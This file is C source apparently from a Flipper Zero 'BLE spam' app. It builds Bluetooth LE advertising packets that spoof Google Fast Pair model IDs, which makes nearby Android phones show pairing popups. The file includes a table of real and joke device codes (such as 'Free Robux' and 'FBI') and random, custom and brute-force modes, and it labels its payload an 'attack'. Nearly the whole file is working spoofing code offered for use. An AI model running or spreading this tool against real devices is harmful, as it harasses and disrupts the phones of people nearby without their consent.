fastpair.c 9.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309
  1. #include "fastpair.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL and @Spooks4576
  4. // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
  5. const struct {
  6. uint32_t value;
  7. const char* name;
  8. } models[] = {
  9. // Genuine actions
  10. {0x00000C, "Set Up Device"},
  11. // Genuine non-production/forgotten (good job Google)
  12. {0x0001F0, "Bisto CSR8670 Dev Board"},
  13. {0x000047, "Arduino 101"},
  14. {0x00000A, "Anti-Spoof Test"},
  15. {0x0A0000, "Anti-Spoof Test 2"},
  16. {0x00000B, "Google Gphones"},
  17. {0x0B0000, "Google Gphones 2"},
  18. {0x0C0000, "Google Gphones 3"},
  19. {0x00000D, "Test 00000D"},
  20. {0x000007, "Android Auto"},
  21. {0x070000, "Android Auto 2"},
  22. {0x000008, "Foocorp Foophones"},
  23. {0x080000, "Foocorp Foophones 2"},
  24. {0x000009, "Test Android TV"},
  25. {0x090000, "Test Android TV 2"},
  26. {0x000048, "Fast Pair Headphones"},
  27. {0x000049, "Fast Pair Headphones 2"},
  28. // Genuine devices
  29. {0xCD8256, "Bose NC 700"},
  30. {0x0000F0, "Bose QuietComfort 35 II"},
  31. {0x821F66, "JBL Flip 6"},
  32. {0xF52494, "JBL Buds Pro"},
  33. {0x718FA4, "JBL Live 300TWS"},
  34. {0x0002F0, "JBL Everest 110GA"},
  35. {0x92BBBD, "Pixel Buds"},
  36. {0x000006, "Google Pixel buds"},
  37. {0x060000, "Google Pixel buds 2"},
  38. {0xD446A7, "Sony XM5"},
  39. {0x2D7A23, "Sony WF-1000XM4"},
  40. {0x0E30C3, "Razer Hammerhead TWS"},
  41. {0x72EF8D, "Razer Hammerhead TWS X"},
  42. {0x72FB00, "Soundcore Spirit Pro GVA"},
  43. {0x0003F0, "LG HBS-835S"},
  44. // Custom debug popups
  45. {0xD99CA1, "Flipper Zero"},
  46. {0x77FF67, "Free Robux"},
  47. {0xAA187F, "Free VBucks"},
  48. {0xDCE9EA, "Rickroll"},
  49. {0x87B25F, "Animated Rickroll"},
  50. {0xF38C02, "Boykisser"},
  51. {0x1448C9, "BLM"},
  52. {0xD5AB33, "Xtreme"},
  53. {0x0C0B67, "Xtreme Cta"},
  54. {0x13B39D, "Talking Sasquach"},
  55. {0xAA1FE1, "ClownMaster"},
  56. {0x7C6CDB, "Obama"},
  57. {0x005EF9, "Ryanair"},
  58. {0xE2106F, "FBI"},
  59. {0xB37A62, "Tesla"},
  60. };
  61. const uint8_t models_count = COUNT_OF(models);
  62. static const char* get_name(const ProtocolCfg* _cfg) {
  63. UNUSED(_cfg);
  64. return "FastPair";
  65. }
  66. static void make_packet(uint8_t* _size, uint8_t** _packet, ProtocolCfg* _cfg) {
  67. FastpairCfg* cfg = _cfg ? &_cfg->specific.fastpair : NULL;
  68. uint32_t model;
  69. switch(cfg ? _cfg->mode : ProtocolModeRandom) {
  70. case ProtocolModeRandom:
  71. default:
  72. model = models[rand() % models_count].value;
  73. break;
  74. case ProtocolModeValue:
  75. model = cfg->model;
  76. break;
  77. case ProtocolModeBruteforce:
  78. model = cfg->model = _cfg->bruteforce.value;
  79. break;
  80. }
  81. uint8_t size = 14;
  82. uint8_t* packet = malloc(size);
  83. uint8_t i = 0;
  84. packet[i++] = 3; // Size
  85. packet[i++] = 0x03; // AD Type (Service UUID List)
  86. packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
  87. packet[i++] = 0xFE; // ...
  88. packet[i++] = 6; // Size
  89. packet[i++] = 0x16; // AD Type (Service Data)
  90. packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
  91. packet[i++] = 0xFE; // ...
  92. packet[i++] = (model >> 0x10) & 0xFF;
  93. packet[i++] = (model >> 0x08) & 0xFF;
  94. packet[i++] = (model >> 0x00) & 0xFF;
  95. packet[i++] = 2; // Size
  96. packet[i++] = 0x0A; // AD Type (Tx Power Level)
  97. packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
  98. *_size = size;
  99. *_packet = packet;
  100. }
  101. enum {
  102. _ConfigExtraStart = ConfigExtraStart,
  103. ConfigModel,
  104. ConfigInfoRequire,
  105. ConfigCOUNT,
  106. };
  107. static void config_callback(void* _ctx, uint32_t index) {
  108. Ctx* ctx = _ctx;
  109. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  110. switch(index) {
  111. case ConfigModel:
  112. scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel);
  113. break;
  114. case ConfigInfoRequire:
  115. break;
  116. default:
  117. ctx->fallback_config_enter(ctx, index);
  118. break;
  119. }
  120. }
  121. static void model_changed(VariableItem* item) {
  122. ProtocolCfg* _cfg = variable_item_get_context(item);
  123. FastpairCfg* cfg = &_cfg->specific.fastpair;
  124. uint8_t index = variable_item_get_current_value_index(item);
  125. if(index) {
  126. index--;
  127. _cfg->mode = ProtocolModeValue;
  128. cfg->model = models[index].value;
  129. variable_item_set_current_value_text(item, models[index].name);
  130. } else {
  131. _cfg->mode = ProtocolModeRandom;
  132. variable_item_set_current_value_text(item, "Random");
  133. }
  134. }
  135. static void extra_config(Ctx* ctx) {
  136. ProtocolCfg* _cfg = &ctx->attack->payload.cfg;
  137. FastpairCfg* cfg = &_cfg->specific.fastpair;
  138. VariableItemList* list = ctx->variable_item_list;
  139. VariableItem* item;
  140. size_t value_index;
  141. item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, _cfg);
  142. const char* model_name = NULL;
  143. char model_name_buf[9];
  144. switch(_cfg->mode) {
  145. case ProtocolModeRandom:
  146. default:
  147. model_name = "Random";
  148. value_index = 0;
  149. break;
  150. case ProtocolModeValue:
  151. for(uint8_t i = 0; i < models_count; i++) {
  152. if(cfg->model == models[i].value) {
  153. model_name = models[i].name;
  154. value_index = i + 1;
  155. break;
  156. }
  157. }
  158. if(!model_name) {
  159. snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model);
  160. model_name = model_name_buf;
  161. value_index = models_count + 1;
  162. }
  163. break;
  164. case ProtocolModeBruteforce:
  165. model_name = "Bruteforce";
  166. value_index = models_count + 1;
  167. break;
  168. }
  169. variable_item_set_current_value_index(item, value_index);
  170. variable_item_set_current_value_text(item, model_name);
  171. variable_item_list_add(list, "Requires Google services", 0, NULL, NULL);
  172. variable_item_list_set_enter_callback(list, config_callback, ctx);
  173. }
  174. static uint8_t config_count(const ProtocolCfg* _cfg) {
  175. UNUSED(_cfg);
  176. return ConfigCOUNT - ConfigExtraStart - 1;
  177. }
  178. const Protocol protocol_fastpair = {
  179. .icon = &I_android,
  180. .get_name = get_name,
  181. .make_packet = make_packet,
  182. .extra_config = extra_config,
  183. .config_count = config_count,
  184. };
  185. static void model_callback(void* _ctx, uint32_t index) {
  186. Ctx* ctx = _ctx;
  187. ProtocolCfg* _cfg = &ctx->attack->payload.cfg;
  188. FastpairCfg* cfg = &_cfg->specific.fastpair;
  189. switch(index) {
  190. case 0:
  191. _cfg->mode = ProtocolModeRandom;
  192. scene_manager_previous_scene(ctx->scene_manager);
  193. break;
  194. case models_count + 1:
  195. scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom);
  196. break;
  197. case models_count + 2:
  198. _cfg->mode = ProtocolModeBruteforce;
  199. _cfg->bruteforce.counter = 0;
  200. _cfg->bruteforce.value = cfg->model;
  201. _cfg->bruteforce.size = 3;
  202. scene_manager_previous_scene(ctx->scene_manager);
  203. break;
  204. default:
  205. _cfg->mode = ProtocolModeValue;
  206. cfg->model = models[index - 1].value;
  207. scene_manager_previous_scene(ctx->scene_manager);
  208. break;
  209. }
  210. }
  211. void scene_fastpair_model_on_enter(void* _ctx) {
  212. Ctx* ctx = _ctx;
  213. ProtocolCfg* _cfg = &ctx->attack->payload.cfg;
  214. FastpairCfg* cfg = &_cfg->specific.fastpair;
  215. Submenu* submenu = ctx->submenu;
  216. uint32_t selected = 0;
  217. submenu_reset(submenu);
  218. submenu_add_item(submenu, "Random", 0, model_callback, ctx);
  219. if(_cfg->mode == ProtocolModeRandom) {
  220. selected = 0;
  221. }
  222. bool found = false;
  223. for(uint8_t i = 0; i < models_count; i++) {
  224. submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx);
  225. if(!found && _cfg->mode == ProtocolModeValue && cfg->model == models[i].value) {
  226. found = true;
  227. selected = i + 1;
  228. }
  229. }
  230. submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx);
  231. if(!found && _cfg->mode == ProtocolModeValue) {
  232. selected = models_count + 1;
  233. }
  234. submenu_add_item(submenu, "Bruteforce", models_count + 2, model_callback, ctx);
  235. if(_cfg->mode == ProtocolModeBruteforce) {
  236. selected = models_count + 2;
  237. }
  238. submenu_set_selected_item(submenu, selected);
  239. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  240. }
  241. bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) {
  242. UNUSED(_ctx);
  243. UNUSED(event);
  244. return false;
  245. }
  246. void scene_fastpair_model_on_exit(void* _ctx) {
  247. UNUSED(_ctx);
  248. }
  249. static void model_custom_callback(void* _ctx) {
  250. Ctx* ctx = _ctx;
  251. ProtocolCfg* _cfg = &ctx->attack->payload.cfg;
  252. FastpairCfg* cfg = &_cfg->specific.fastpair;
  253. _cfg->mode = ProtocolModeValue;
  254. cfg->model =
  255. (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
  256. scene_manager_previous_scene(ctx->scene_manager);
  257. scene_manager_previous_scene(ctx->scene_manager);
  258. }
  259. void scene_fastpair_model_custom_on_enter(void* _ctx) {
  260. Ctx* ctx = _ctx;
  261. ProtocolCfg* _cfg = &ctx->attack->payload.cfg;
  262. FastpairCfg* cfg = &_cfg->specific.fastpair;
  263. ByteInput* byte_input = ctx->byte_input;
  264. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  265. ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF;
  266. ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF;
  267. ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF;
  268. byte_input_set_result_callback(
  269. byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
  270. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  271. }
  272. bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  273. UNUSED(_ctx);
  274. UNUSED(event);
  275. return false;
  276. }
  277. void scene_fastpair_model_custom_on_exit(void* _ctx) {
  278. UNUSED(_ctx);
  279. }